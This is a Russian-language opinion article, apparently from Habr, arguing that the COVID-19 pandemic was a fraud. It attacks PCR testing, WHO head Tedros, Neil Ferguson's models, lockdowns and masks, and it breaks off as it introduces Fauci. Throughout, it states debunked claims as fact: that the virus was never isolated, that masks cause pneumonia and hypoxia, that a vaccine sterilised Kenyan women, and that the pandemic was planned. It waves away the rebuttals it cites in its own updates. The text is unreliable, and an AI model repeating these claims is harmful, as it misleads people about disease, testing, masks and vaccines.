Вот известное [интервью Стефано Скольо](https://zol-dol.livejournal.com/1209081.html). Я честно скажу, я не знаю, действительно ли он доктор (хотя в интернете можно найти его сайт) и действительно ли он выдвигался на Нобелевскую премию (на неё и Путина выдвигали) — но не научный ли метод велит учёным рассматривать суть высказывания, а не обращать внимания на личность и авторитет? Итак, этот самый Стефано простыми словами объясняет, что да, всё так и есть, как вы подозревали — изолята нет, вируса никто не видел, под видом эталона для сравнения используется слегка очищенное бронхолегочное содержимое, в котором может оказаться вообще что угодно.
Он же объясняет, что тест на антитела не имеет никакого смысла, пока нет выделенного вирусного изолята и не с чем сравнивать, не на что получать реакцию.
**UPD**
в том же [комментарии](https://habr.com/ru/post/564356/#comment_23192988) есть [пара](https://facta.news/storie/2020/11/06/perche-la-teoria-di-stefano-scoglio-sui-tamponi-che-gonfiano-i-positivi-e-sbagliata/) [ссылок](https://www.open.online/2020/10/29/coronavirus-virus-mai-isolato-tampone-inutile-asintomatici-non-contagiosi-pediatra/) на опровержение утверждений доктора Скольо. От себя замечу, что усиленно рекомендую первую ссылку, как образец объяснений сложных научных вопросов простыми словами. Но эта ссылка, рассказывая простыми словами технологию исследований, тем не менее ничего не опровергает, просто хорошая популяризаторская статья. Объяснение по той ссылке верно тогда и только тогда, когда установлено и доказано, что иных вирусов с таким же геномом в заданном участке не существует. Вторая ссылка мне вообще не дала внятной информации, извините.
В Израиле в июле 2020 года зам. гендиректора минздрава Итамар Гротто [заявил, что 9 из 10 тестов дают ложноположителный результат, поэтому нет смысла их делать](https://www.kikar.co.il/361557.html).
**UPD**
в том же [комментарии](https://habr.com/ru/post/564356/#comment_23192988):
«Заявил, но потом уточнил, что имел в виду асимптоматичных пациентов, а не ложноположительные результаты. Однако, как уточняет редакция, исследования в мире и Израиле показывают, что даже на асимптоматичных пациентах тесты обычно точны.»
Впрочем, даже ВОЗ знает об этом, и именно поэтому ВОЗ в декабре выпустил [записку о том, что завышенное количество циклов репликаций приводит к появлению ложноположительных результатов](https://off-guardian.org/2020/12/18/who-finally-admits-pcr-tests-create-false-positives/).
В итоге только почти через год после начала пандемии, локдаунов, масочного безумия ВОЗ [призвала все страны](https://covidcalltohumanity.org/who-lowers-cycle-thresholds-for-pcr-tests/) снизить число циклов в тестах ПЦР. Более того, в инструкциях ВОЗ прямо указано, что [ПЦР не может быть](https://www.who.int/news/item/20-01-2021-who-information-notice-for-ivd-users-2020-05) основным тестом, по которому принимаются решения о наличии или отсутствии коронавируса. Но вы «тестируйте, тестируйте, тестируйте».
**UPD**
Я должен отметить, что уже не первый раз получаю ответы о том, что ВОЗ ничего такого не опровергала, а просто "*призвала чётко следовать инструкциям теста, чтобы не получать некорректные результаты*". Раз за разом мне говорят именно об этом, ссылаясь на [многочисленные опровержения в интернете](https://www.reuters.com/article/uk-factcheck-who-instructions-pcr-guidan-idUSKBN2A429W). Поэтому я добавляю сюда эту информацию. Но я с ней не согласен, и вот почему: этому признанию предшествовала довольно массированная кампания журналистов и расследователей, которые подозревали в происходящем не «пандемию вируса», а «пандемию тестов». Вот пример [осторожной статьи](https://www.nytimes.com/2020/08/29/health/coronavirus-testing.html) на эту тему в известном издании. Разумеется, ВОЗ с политической точки зрения не могла прямо признать проблему, поэтому я полагаю, что признание состоялось именно в таком обтекаемом виде.
Также можно вспомнить [публикацию о секретной съемке](https://www.bbc.com/news/uk-56556806), во время которой выяснилось, что ПЦР-тесты загрязняются прямо в лаборатории.
Но интереснее всего то, что после начала вакцинации CDC ввел новую политику, которая фактически создала многоуровневую систему диагностики. [Это означает, что с этого момента невакцинированным людям будет намного легче получить диагноз Covid19, чем вакцинированным.](https://off-guardian.org/2021/05/18/how-the-cdc-is-manipulating-data-to-prop-up-vaccine-effectiveness/)
Если бы эта новая политика была глобальным подходом к «Covid» с декабря 2019 года, никакой пандемии вообще бы не было. Но теперь для «невакцинированных» будут делать 40 циклов в ПЦР, а для «вакцинированных» — 28 циклов. Возможно это даже ляжет в основу будущих исследований по эффективности вакцин.
Кстати, это снисходительное отношение к вакцинам в практике дело обычное. Любой родитель расскажет вам, что врачи не ставят диагноз «коклюш» детям, у которых есть прививка от коклюша. Жаль, что нет ни одного «научного исследования», которое бы это доказало. И почему вдруг такое исследование никто не станет финансировать?
Итак, я думаю, читатели уже поняли, почему ковидоскептики с крайним подозрением относятся к ПЦР-тестам.
Но кто на таких шатких основаниях объявил пандемию?!
«Доктор Тедрос»
---------------
**«WHO is mister Tedros»**
11 марта гендиректор ВОЗ доктор Тедрос Адханан Гебреисус заявил о «Пандемии».
Кто такой «Доктор Тедрос»?
«Самый главный врач планеты», глава ВОЗ — человек без медицинского образования. Доктором Тедросом его называют из уважения к защищенной им диссертации. Будучи министром иностранных дел Эфиопии, он [обвинялся](https://www.nytimes.com/2017/05/13/health/candidate-who-director-general-ethiopia-cholera-outbreaks.html) экспертной средой в сокрытии вспышек нескольких случаев холеры в Эфиопии в 2006, 2009 и 2011 годах (впрочем, оказалось, что эти данные есть даже в Википедии, поэтому даю формулировку и ссылку оттуда). Также его [обвиняли](https://www.change.org/p/we-oppose-tedros-adhanom-s-candidacy-for-director-general-of-who) в финансовых махинациях.
На закрытом заседании парламента в Лондоне госсекретарь США Майк Помпео заявил, что, согласно надёжным сведениям, Тедрос Аданом Гебреисус заключил соглашение с Китаем. Помпео также добавил, что именно Китаю удалось убедить других проголосовать за Гебреисуса в то время, и поэтому США решили выйти из ВОЗ и прекратить финансирование организации. Ещё трое участников заседания, которые хотели сохранить анонимность, рассказали, что по мнению Помпео, Китай «купил» руководителя ВОЗ. [Он не стал вдаваться в подробности, но отметил, что есть разведданные, которые это доказывают.](https://www.telegraph.co.uk/politics/2020/07/21/mike-pompeo-claims-china-bought-chief/)
Достойная пара «доктору Дростену».
Можно сказать, что всё это не важно, ведь он же не царь и не король, он не может заявить о пандемии, если его подчинённые не согласятся. Значит в ВОЗ существовал некоторый консенсус по этому поводу.
Я обращаю внимание читателей на то, что в ВОЗ существовал консенсус по поводу того, что этот сомнительный тип в принципе достоин их возглавлять. И это очень многое говорит именно о ВОЗ в целом, а не только о «докторе Тедросе».
Но объявить пандемию было мало, её начали внедрять.
Беззаконие
----------
**В Лондоне и Оттаве [прошли](https://www.rbc.ru/rbcfreenews/5f4b4a5d9a7947bc2ebcf1d3) многотысячные митинги против коронавирусных мер**
Ключевой характеристикой этой пандемии является полное, тотальное беззаконие, абсолютное попрание всех прав и свобод людей.
Я часто слышал о том, что «когда умирают люди — не до прав и свобод», и это каждый раз создавало у меня когнитивный диссонанс, потому что современная западная модель цивилизации выстроена как раз совершенно на противоположном фундаменте. На том, что обычно **люди готовы были умереть, но не поступиться своими правами и свободами**. В этом смысле, конечно, мы наблюдаем крушение не только экономической, но и культурной основы цивилизации, отказ от главного внутреннего принципа. Однако, речь не о том.
Во-первых, была введена цензура. [Фейсбук](https://almaty.tv/news/koronavirus/1618-novye-pravila-facebook-stanet-udalyat-lodgnuyu-informatsiyu-o-vaktsinatsii-ot-covid-19), [Твиттер](https://help.twitter.com/ru/rules-and-policies/medical-misinformation-policy), [Ютуб](https://support.google.com/youtube/answer/9891785) ввели откровенные правила цензуры контента, которые не имели отношения к законам. Например, ранее цензурировалась только информация, которая явно была оговорена законами различных стран как преступная. В данном случае началась открытая цензура, не основанная на законе. Непонятные люди на неясных основаниях стали заявлять, что какая-то информация «вредная»:
**Твиттер знает лучше!**
Во-вторых, были полностью нарушены все законные протоколы, которые как раз и создавались для противодействия пандемиям. В России мы видели это особенно явно:
[Покойный академик Филатов удивлялся, почему не задействован единственно возможный при пандемии порядок действий. Правительство/ президент делают запрос в РАН, РАН направляет его в Медицинское отделеие РАН, там формируют запросы к профильным и ведомственным НИИ, там собирают и согласуют мнения экспертов, на их основе делают заключение и отправляют его обратно в МО РАН, где обобщают заключения множества НИИ и дают детальные рекомендации президенту и/ или правительству. Ничего этого сделано не было! Мнение научного сообщества им не интересно.](https://asterrot.livejournal.com/513412.html?replyto=14263172)
Но точно такое же безумие творилось по всему миру:
* [Окружной суд в Гааге постановил немедленно отменить комендантский час в Нидерландах, данная мера серьезно нарушает права на свободу передвижения и неприкосновенность частной жизни, говорится в постановлении инстанции. Как сообщили в суде, комендантский час в Нидерландах был введен на основании закона о чрезвычайных полномочиях гражданской власти, согласно которому кабмин имеет право ввести данную меру в исключительных обстоятельствах без консультации с палатой представителей и сенатом.](https://ria.ru/20210216/niderlandy-1597673222.html)
* [После длительного заседания Конституционного суда Республики Молдова, которое продолжалось около пяти часов, было принято решение отменить ЧП в стране, так как оно было признано незаконным.Конституционный суд признал неконституционным решение парламента о введении чрезвычайного положения до 30 мая в связи с пандемическим кризисом.](https://www.kp.md/online/news/4275902/)
* [Конституционный суд Румынии постановил, что указ президента о введении в Румынии чрезвычайного положения является неконституционным и выходит за рамки правовых полномочий главы государства.](https://www.pravda.com.ua/rus/news/2020/05/7/7250753/)
* [Городской суд Праги признал незаконными ряд инициатив правительства по борьбе с пандемией коронавируса, сообщило местное издание Novinky. Серьёзные ограничения прав граждан можно вводить только по закону о чрезвычайном положении, говорится в решении суда. Минздрав вводить такие меры не вправе.](https://pravo.ru/news/221046/)
* [Конституционный суд 28 августа признал неконституционными некоторые положения постановления Кабинета министров о карантине в Украине, введенном в связи с эпидемией коронавирусной болезни COVID-19.](http://uzhgorod.in/ru/konstytutsyonnyj-sud-pryznal-nezakonnymy-nekotorye-karantynnye-ogranychenyya/)
* [Суд первой инстанции в Брюсселе обязал правительство в течение 30 дней отметить экстренные ограничительные меры по коронавирусу в связи с отсутствием юридической базы.](https://www.vedomosti.ru/society/news/2021/03/31/864005-sud-v-belgii-postanovil-otmenit-vvedennie-pravitelstvom-koronavirusnie-ogranicheniya)
* [В Германии суд оправдал мужчину за нарушение карантинных мер, признав их «катастрофично ошибочным решением». Согласно заключению суда, карантин противоречит Конституции страны](https://lenta.ru/news/2021/01/23/oshibka/)
* [Высший суд Мадрида не подтвердил законность мер о введении ограничений на передвижение в столице Испании и еще девяти муниципалитетах региона, следует из постановления. Согласно решению суда, эти меры «нарушают основные права и свободы» и были введены без одобрения парламента Испании](https://vz.ru/news/2020/10/8/1064367.html)
И далее, далее, далее. Этот беспредел продолжается и сейчас, беснующиеся политики кричат о принудительной вакцинации. Я напомню, что Совет Европы в общем-то принял резолюцию о запрете на принуждение людей к вакцинации. [Там прямо указано:](https://pace.coe.int/en/files/29004/html)
> 7.3.1 обеспечить, чтобы граждане были проинформированы о том, что вакцинация не является обязательной и что никто не подвергается политическому, социальному или иному давлению с целью вакцинировать себя, если они не хотят делать это сами;
>
> 7.3.2 гарантировать, что никто не подвергнется дискриминации за то, что он не был вакцинирован, из-за возможных рисков для здоровья или нежелания пройти вакцинацию;
Но наплевав на одну часть законов и норм — вполне естественно наплевать и на другую. «Сгорел сарай — гори и хата!». И разнузданные элиты по всему миру устроили буквально оргию надругательства над законами.
Скептицизм вызывает не только откровенное нарушение всех мыслимых прав людей, но его бессмысленность — так как у каждой развитой страны существовали работающие **юридически корректные** протоколы для поведения в ситуации пандемии.
То есть — не существовало никаких разумных и важных причин для того, чтобы незаконно ограничивать права людей, поскольку была возможность вполне законно ограничить права людей.
*Если только, конечно, самой целью всего этого не было незаконное ограничение прав людей.*
Пландемия
---------
**Лучшее фото Билла Гейтса на все времена**
Уже в начале весны конспирологи сориентировались в происходящем и вытащили на свет огромное количество информации о том, что про всё это было известно заранее. Основным аргументом было то, что если богатые и влиятельные люди говорят о наступлении какого-то события в будущем — то значит они его и спланировали. Это породило в среде конспирологов термин "*пландемия*".
В первую очередь выкопали, конечно, доклад Фонда Рокфеллера «Сценарии будущего технологий и международного развития», где ещё в 2010 году был опубликован подробный сценарий будущей вирусной пандемии во всём мире. Потом обнаружили, что институт Джонса Хопкинса в сотрудничестве с Мировым экономическим форумом и фондом небезызвестного Билла Гейтса осенью позапрошлого года провёл событие под названием "Event 201".
> "[Event 201 моделировало глобальную вспышку коронавируса](https://www.hopkins-cepar.org/on-alert/two-different-drills-with-two-different-goals), передаваемого от летучих мышей людям, что привело к пандемии легочного синдрома, связанного с коронавирусом (CAPS). CAPS — это вирусное заболевание, которое может вызывать целый ряд проблем со здоровьем, от легких симптомов гриппа до пневмонии и даже госпитализации или смерти."
Кроме того конспирологи выяснили, что [планирование паспортов вакцины началось как минимум за 20 месяцев до начала вспышки COVID-19](https://healthimpactnews.com./2021/plandemic-plans-for-vaccine-passports-were-in-place-in-20-months-before-covid-19-outbreaks/). Европейская комиссия — исполнительный орган Европы — впервые опубликовала предложение по паспортам вакцины 26 апреля 2018 года.
В совокупности с многочисленными заявлениями самого Гейтса об угрозе вирусной пандемии (самое известное такое заявление — это его [выступление](https://thebell.io/bill-gejts-cherez-tri-goda-posmotrim-nazad-i-skazhem-bylo-uzhasno-no-my-vyuchili-urok) в 2015 году на форуме TED) стало широко распространённой идея о том, что именно он вместе с Рокфеллерами всю эту пандемию и организовал.
Главной целью считался контроль численности населения — ему припомнили [вакцинацию в Кении, ставшую причиной массовой стерилизации](https://www.globalresearch.ca/mass-sterilization-kenyan-doctors-find-anti-fertility-agent-un-tetanus-vaccine-2/5678295).
Предсказания фонда Рокфеллера были поразительно точны, вот хороший пример конспирологической [статьи](https://sergey-57776.medium.com/%D1%8D%D1%82%D0%BE-%D0%BF%D1%80%D0%BE%D0%B4%D0%BB%D0%B8%D1%82%D1%81%D1%8F-20-%D0%BB%D0%B5%D1%82-d12e77bd3e2c) где всё это описывается. Но были и ещё более любопытные моменты.
В августе 2018-го уважаемым агентством ABC была опубликована апокалиптическая статья про компьютерную модель MIT, якобы основанную на старой модели Римского Клуба. [«Завораживающий прогноз показывает, что качество жизни, как ожидается, резко упадет сразу после 2020 года», «Примерно к 2020 году состояние планеты станет критическим»](https://www.express.co.uk/news/weird/1002422/Apocalypse-2040-MIT-computer-model-civilisation-world-end-Club-of-Rome). Блогер, который это обнаружил, пишет, что знаменитая модель «Устойчивого развития» никакого скорого апокалипсиса на самом деле не предсказывала, данные изложены некорректно — и в конце 2019 года ехидно подначивает: [«ведь до 2020-го осталось меньше месяца, а никаких признаков модельного апокалипсиса не видно»](https://alex-rozoff.livejournal.com/192746.html).
Зря иронизировал. Сказали Уважаемые Люди что апокалипсису быть в 2020 — значит быть!
Такие вот невероятно сбывающиеся модели.
Можно сказать, что абсолютно точные предсказания это просто хорошие навыки специалистов, грамотное умение моделировать. Но почему в одном случае они моделируют так точно — а в другом случае показывают полную бездарность? И тут мы переходим к следующему, самому провальному этапу пандемической паники — к Экспоненте.
Святая Экспонента
-----------------
**Сравнительная диаграмма панических прогнозов и реального уровня смертности в Швеции**
**UPD:**
В данном [комментарии](https://habr.com/ru/post/564356/#comment_23209898) можно прочесть критику относительно этой картинки.
Самым громким и частым прогнозом в начале эпидемии была экспоненциальная модель роста числа зараженных. Вот, например, типичная новость того времени: [«Погибнут 40 млн в 2020 году!»](https://www.topnews.ru/news_id_142061.html)
Теперь мы уже знаем, что СМИ [использовали](https://nypost.com/2020/04/01/cbs-admits-to-using-footage-from-italy-in-report-about-nyc/) манипулятивные картинки и видео, чтобы драматизировать ситуацию, [существенно (на порядки) переоценивали риски](https://www.telegraph.co.uk/news/2020/08/20/uk-public-believe-coronavirus-death-toll-100-times-higher-really/) и даже научные журналы поддались всеобщей панике, [публикуя непрофессиональные или непроверенные публикации](https://onlinelibrary.wiley.com/doi/full/10.1111/eci.13222).
На сайтах, которые позиционировали себя как просветительские, пытались объяснять, откуда взялись такие безумные цифры. Вот, например, [рассказ](https://meduza.io/feature/2020/03/30/v-moskve-vveli-zhestkie-karantinnye-mery-pohozhe-eto-pravilno-matematicheskaya-model-pokazyvaet-chto-inache-mogli-by-pogibnut-bolshe-100-tysyach-chelovek) о том, как в теории должны осуществляться расчёты, согласно «модели SIR». Но это был абстрактный разговор о том, «как должно быть». Рассуждая абстрактно, сотрудникам ВОЗ не следовало соглашаться с назначением на пост гендиректора ВОЗ человека без медицинского образования, замешанного в ряде скандалов. Но на практике это случилось.
Так как же были сделаны расчёты, откуда взялась Святая Экспонента, уничтожающая миллионы людей?
Все эти ужасные прогнозы были построены на шести людях. Не шести тысячах. Не шести сотнях. Шесть человек на шести рейсах.
> "[These six people were crucial for estimating disease prevalence, the IFR, and ultimately forecasting death all around the world](https://threadreaderapp.com/thread/1294645063985836032.html)."
Прогнозы эти в итоге не сбылись, в отличие от тех, которые сделал Центр Рокфеллера. Вполне естественно в такой ситуации подозревать, что во втором случае это были не прогнозы, а собственные коварные планы.
Но сосредоточимся на другом: а почему вообще решили, что эти ужасные прогнозы сбудутся? Может быть эти прогнозы были сделаны очень уважаемым человеком, которому безусловно доверял весь научный мир, и который никогда не ошибался ранее?
«Доктор Фергюсон»
-----------------
**Профессор Нил Фергюсон**
[Фергюсон и его его группа из Имперского колледжа давно известны лживыми прогнозами](https://statmodeling.stat.columbia.edu/2020/05/08/so-the-real-scandal-is-why-did-anyone-ever-listen-to-this-guy/):
* В 2002 Фергюсон предсказал 150 тыс. смертей британцев от «коровьего бешенства». Умерло 177 человек.
* В 2005 Фергюсон предсказал 200 млн. смертей в мире «птичьего гриппа». Умерло 282 человека.
* В 2009 Фергюсон предсказал 65 тыс. смертей граждан Британии от «свиного гриппа». Умерло 457 человек.
Ни один из его панических прогнозов не исполнился. Однако, как мы видим, выводов из этого тоже не было сделано, так как год за годом он продолжал ошибаться и при этом оставался «международным экспертом» и возглавлял Имперский колледж. «Человек из хорошей семьи», вероятно.
6 и 16 марта 2020 года эпидемиологи Имперского колледжа, во главе с Фергюсоном, направили правительствам США и Британии катастрофический [прогноз](https://www.imperial.ac.uk/media/imperial-college/medicine/sph/ide/gida-fellowships/Imperial-College-COVID19-NPI-modelling-16-03-2020.pdf) о жертвах коронавируса. Согласно прогнозу, с апреля по июль 2020 года в Британии должны умреть 510 тысяч человек, а в США — 2.2 миллиона. Для предотвращения катастрофы Фергюсон рекомендовал использовать карантинные меры в виде домашней изоляции, социального дистанцирования и закрытия учебных заведений.
Отчёт Фергюсона стал мощным инструментом для введения карантинных ограничений:
* Опираясь на отчёт Фергюсона, Энтони Фаучи и СМИ вынудили президента Трампа объявить 13 марта чрезвычайный режим в США.
* С 13 по 24 марта карантин был объявлен в Испании, Франции, Израиле, Германии, Индии, Британии и Канаде.
* 25 марта, после того, как страны Европы и Америки ввели карантин, Фергюсон резко [снизил](http://dailycaller.com/2020/03/26/neil-ferguson-coronavirus-imperial-college-doomsday) прогноз смертности: для Британии 20 тыс, для США 100-200 тыс.
Но самое интересное началось позже.
Фергюсон не был просто теоретиком карантинов – он активно защищал свое детище. Утверждал, что «подавление вируса [посредством карантинных ограничений] – единственная стратегия». Что ограничения – «значительные ограничения» – надо продлить на неопределенный срок, по крайней мере, до создания вакцины.
А потом оказалось, что на себя самого он их не распространял.
> [Британские журналисты выяснили, что профессор, занявший пост советника правительства, нарушал правила «социального дистанцирования» ради встреч с чужой женой – своей близкой знакомой, жившей в другом конце Лондона. В день одного из визитов (знакомая в нарушение правил «самоизоляции», действующих в стране, ездила к нему домой) он даже выступал в прессе, рассказывая о важности карантина.
>
>
>
> Человека – по крайней мере, обычного человека – могут арестовать, если он доставил еду членам семьи, нуждавшимся в уходе. Родителям с детьми могут заявить, что они не имеют права выходить во двор собственного дома. Штрафы за нарушение «коронавирусных директив» выписываются буквально каждые несколько минут (доходит до того, что штрафовать пытаются даже детей).
>
>
>
> В случае с Фергюсоном санкций не последовало. Он признал, что «совершил ошибку», и подал в отставку с поста советника правительства. Но полиция сообщила, что формальных претензий к нему нет.](https://fergana.agency/articles/117899/)
Таким образом, в нашем списке экспертов, ответственных за пандемию, появляется ещё один морально сомнительный тип. Однако, в конечном счёте, дело опять не только в нём. Как ВОЗ полностью отвечает за то, что их возглавляет «доктор Тедрос», так и мировые правительства — а также все учёные, не возмутившиеся подобному беспределу — отвечают за поступки «доктора Фергюсона». До тех пор, пока он был в тени и публиковал свои лживые панические прогнозы — можно было сослаться на его незаметность. Но после такого скандала, следовало сделать сразу три вещи:
1. Полностью пересмотреть рекомендации самого Фергюсона (в том числе обнаружить, что он пересмотрел свой панический прогноз)
2. Полностью пересмотреть его предыдущие прогнозы и обнаружить, что и раньше он ничего нормально предсказать не мог.
3. Немедленно отменить введенные по его требованию локдауны и ограничения.
Я уж не говорю о том, что кто-то из других уважаемых людей мог подвергнуть его хотя бы символическим наказаниям — как штрафу, так и порицаниям со стороны научного сообщества. Может быть его можно было наконец отправить в отставку из Имперского колледжа. Но ничего этого сделано не было. Ожидаемо появляется мысль о том, что раз его не осуждают — значит он *всё сделал правильно*.
Кстати, группа Фергюсона тесно сотрудничает с ВОЗ. Он возглавляет консорциум по моделированию воздействия вакцин, спонсором которого является Фонд Гейтса. С 2006 по 2018 годы Фонд Мелинды и Билла вложил в группу Фергюсона $185 млн. Но мы не будем заострять на этом внимание, может быть просто совпадение.
Тем не менее, прогнозы пересмотрели — а локдауны-то остались.
Локдауны
--------
**Обещания vs Реальность**
Мало кто помнит сейчас, но локдауны объявляли первоначально на «пару недель». Ну вы помните ещё эту смешную присказку про «сгладить кривую». Пара недель превратилась в пару лет — и это ещё одна ложь, которая не то что не была объяснена (можно найти объяснения вида «мы ошиблись», «мы не ожидали») — но за которую даже никто не извинился, и никто её не признал.
Но стоит ли говорить об ошибке, если ошибаться было не в чем. Буквально потому что не существует никаких строгих научных доказательств того, что локдауны спасают от ковида. Вот перечисляют [три статьи](https://fee.org/articles/3-studies-that-show-lockdowns-are-ineffective-at-slowing-covid-19/), где исследования данных в десятках стран не нашли корреляций с наличием или строгостью локдаунов.
Вот тут еще пачка [статей](https://www.aier.org/article/lockdowns-do-not-control-the-coronavirus-the-evidence/) о том же — эмпирические данные никакой заметной пользы не показывают.
В начале октября доктор Наварро из ВОЗ призывал мировых лидеров отказаться от локдаунов потому, что [они обнаружили, что единственный результат локдаунов — это бедность.](https://www.news.com.au/world/coronavirus/global/coronavirus-who-backflips-on-virus-stance-by-condemning-lockdowns/news-story/f2188f2aebff1b7b291b297731c3da74)
Он оказался прав, два экономиста из NBER провели исследование, используя Калифорнийские данные о налогах на продажи за первые два квартала 2020-го, то есть, не косвенные, а прямые экономические данные по разным индустриям, и обнаружили, что [основной удар нанесли именно локдауны](https://fee.org/articles/study-lockdowns-had-largest-impact-in-destroying-economic-activity/).
Самым забавным было то, что «доктор Фергюсон» был не один такой создатель и нарушитель локдаунов. Огромное количество сторонников локдауна занималось тем, что на публику рассказывало о необходимости сидеть дома — а на деле ездило по своим делам, никаких правил и законов не соблюдая. Законы и правила это для плебса, для господ нет никаких правил.
Вот, например, ещё один врунишка — «доктор Файгл-Дин». Много [писал](https://twitter.com/DrEricDing/status/1366997611702607873) об ужасах заболеваний в школах, и клеймил тех, кто их открывает. Впечатление было несколько испорчено, когда выяснилось, что [своих детей он отправил в Австрию](https://twitter.com/JordanSchachtel/status/1369488647028871174), поскольку там школы открыты. Доктор был очень популярен, давал интервью всей прессе, снимался в политической рекламе, и так далее. Оказалось, правда, что он не совсем эпидемиолог, и [не врач, а специалист по питанию](https://dossier.substack.com/p/the-impersonator-eric-feigl-ding).
Это не «единичные случаи»! Люди даже составили чудесную карту США, [где можно кликать и смотреть — кто из законодателей и в чём нарушил свои собственные законы](https://www.heritage.org/data-visualizations/public-health/covid-hypocrisy-policymakers-breaking-their-own-rules/).
Нужно ли говорить, что вот эту ложь и вот это двуличие никто даже не объяснял и не опровергал? Вы должны были просто соблюдать локдаун, потому что «так сказали эксперты» и «так велели политики» — при этом на самих экспертов и политиков этот запрет не распространялся. Какого доверия вы ожидали после этого?
Будем двигаться дальше — согласно хронологии нашей истории по всему миру после локдаунов и рассказов о страшной экспоненте наступает масочный террор.
Маскобесие
----------
**«Эксперты сказали, что...»**
Совершенно очевидное безумие началось с обязательного ношения масок. Если всё, перечисленное до сих пор, могло казаться случайными ошибками, то после обязательного ношения масок — в том числе на улицах — постановочный характер стал уже совершенно очевидным. Потому что любопытные обыватели сразу же полезли изучать, что говорит о таких требованиях беспристрастная наука. И выяснили, что [вопрос о функциях масок в науке поднимается уже давным-давно](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2493952/pdf/annrcse01509-0009.pdf). Что они, возможно, просто дань традиции, что маски, вероятно, не слишком-то и [защищают](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5779801/) от передачи [простудных заболеваний и гриппа](https://pubmed.ncbi.nlm.nih.gov/19216002/).
[Десятки научных трудов](https://www.technocracy.news/masks-are-neither-effective-nor-safe-a-summary-of-the-science/) подтверждали, что
* нет научных доказательств эффективности масок для лица любого рода против респираторных инфекций, включая ковид.
* Более того, эти исследования доказывают, что повсеместное ношение масок вредно для здоровья.
И это было действительно так. Всё чаще стали появляться сообщения о вреде масок. Например, в зарубежной прессе появился [специальный термин mask mouth](https://nypost.com/2020/08/05/mask-mouth-is-a-seriously-stinky-side-effect-of-wearing-masks/) — именно так называют происходящее во рту после длительного ношения маски. Выяснилось, что постоянное ношение маски приводит к «катастрофе для ротовой полости». Дерматологи тоже бьют тревогу — резкий рост случаев масочного дерматита, [появился даже новый термин «маскне», это «акне» из-за ношения масок](https://www.rosbalt.ru/piter/2020/06/04/1847232.html). Наконец, ношение масок само по себе могло вызвать [гипоксию](https://www.globalresearch.ca/face-masks-pose-serious-risks-healthy/5712649).
Сделанный по заказу ВОЗ метаобзор о пользе масок в Ланцете содержал огромное количество подтасовок и недостатков, и ни одно и рассматриваемых в нём исследований не было рандомизированным контролируемым исследованием. [Ввиду этих недостатков профессор эпидемиологии Университета Торонто Питер Джуэни назвал исследование ВОЗ «методологически ошибочным» и «по существу бесполезным».](https://www.tagesanzeiger.ch/man-sollte-der-oeffentlichkeit-nichts-vorgaukeln-780632651447)
Свежие метаобзоры и исследования, проведенные в различных странах, [подтвердили](https://swprs.org/face-masks-evidence/), что до сих пор в большинстве исследований не было обнаружено практически никаких доказательств эффективности масок для лица среди населения в целом, ни в качестве средств индивидуальной защиты, ни в качестве средства контроля источников.
Но дело даже не в этом. [ВОЗ призналась журналисту BBC](https://archive.is/20201205224307/https://twitter.com/deb_cohen/status/1282244773030633473#selection-4233.0-4270.1), что руководящие принципы политики в отношении масок были основаны не на новых данных, а на **«политическом лоббировании»**.
При этом важно заметить, что споры идут вокруг стерильных медицинских масок. [Нестерильные синие тряпки, которые валяются на грязном полу](https://www.youtube.com/watch?v=kPET6Nu7WUk), по которым ходят ногами, а потом предлагают надевать на лицо и через них дышать — никто даже и не думал исследовать. Точно также никто не исследовал, что делают с лёгкими человека те частицы нетканого материала, грязь и пыль, которые постоянно попадают внутрь — при ношении нестерильной маски, сшитой неизвестно где и кем.
В интернете довольно быстро распространилась гипотеза о том, что маски — в том числе поэтому — сами вызывают пневмонию. Это, в частности, подтверждается сравнительным анализом по Соединенным Штатам: [в штатах где ношение масок было необязательным — оказалось меньше случаев заражения](https://www.conservativereview.com/horowitz-comprehensive-analysis-of-50-states-shows-greater-spread-with-mask-mandates-2649589520.html). Многие подтверждают это и «обыденными наблюдениями». Полностью понимая, что мой опыт не является репрезентативным, я хочу заметить, что известные лично мне случаи заболевания не у стариков или инвалидов возникли только среди тех, кто строго следовал рекомендации носить маску — с другой стороны, те мои знакомые, кто маску не носил, так и не заболели (или, может быть, переболели незаметно для себя).
Наконец, интернет-пользователи и здесь постарались, как с локдаунами — сделали [чудесный сайт](https://www.covidchartsquiz.com). На этом сайте представлены графики по ковиду для разных штатов, в одном из которых были введены ограничения — а в другом нет. Вам предлагается угадать, где ограничения были, а где — нет. Очень поучительное зрелище.
Между тем, людям, которые не желали надевать маски, ссылаясь на научные данные, отвечали медийной травлей (называя их ковидиотами, мракобесами, убийцами старичков), неизвестно на чём основанными (мы теперь знаем, что точно не на научных исследованиях) плакатами про то, что в масках риск передачи 5%, а без маски 95%, и смешными картинками о том, как нарисованный человечек мочится на чужие штаны, если сам штанов не носит.
Это были все аргументы, которые нам предлагали относительно ношения масок.
Нужно при этом помнить, что мы уже не получили до этого внятных объяснений многих других вопросов. Хронологически в нашей истории идёт середина 2020 года, уже стало очевидным, что никакой экспоненты нет, что локдауны очевидно длятся уже дольше «пары недель», что ношение масок — занятие весьма сомнительное с самой что ни на есть научной точки зрения.
На этом этапе людей начали активнее терроризировать сомнительной статистикой заболевших и умерших (она была сомнительной изначально, просто на этом этапе она стала основным инструментом). Но перед тем, как перейти к долгому разговору о проблемах учёта коронавируса, я хочу рассказать вам о третьем участнике нашей группы экспертов, самом влиятельном и самом скользком из всех.
«Доктор Фаучи».
---------------
**Фаучи в двух масках. Позже он сам признался, что это спектакль, и пользы от них нет. «Двуликий внутри — двухмасочный снаружи»**
Как это ни странно, но многие люди, искренне доверяющие медицине и медицинским рекомендациям, не знают, кто такой «доктор Фаучи». Фаучи это директор Национального института аллергии и инфекционных заболеваний США и главный медицинский советник президента. Можно сказать, что он определяет медицинские рекомендации для всех жителей США и для многих других стран, которые ориентируются на США в этих вопросах, даже имея собственную науку и собственную медицину. Американская медицина во многом задаёт темп и стандарты медицины на всей планете, и даже там, где есть собственные развитые медицинские службы — всё равно прислушиваются к американским рекомендациям. Википедия сообщает нам, что журнал Fortune назвал его в числе 50 величайших мировых лидеров (World’s 50 Greatest Leaders).
Поэтому знать, кто такой Фаучи, возможно даже важнее, чем знать президента США. Потому что президенты США меняются — а доктор Фаучи сидит на своём посту и определяет медицинскую политику для большей части населения планеты.
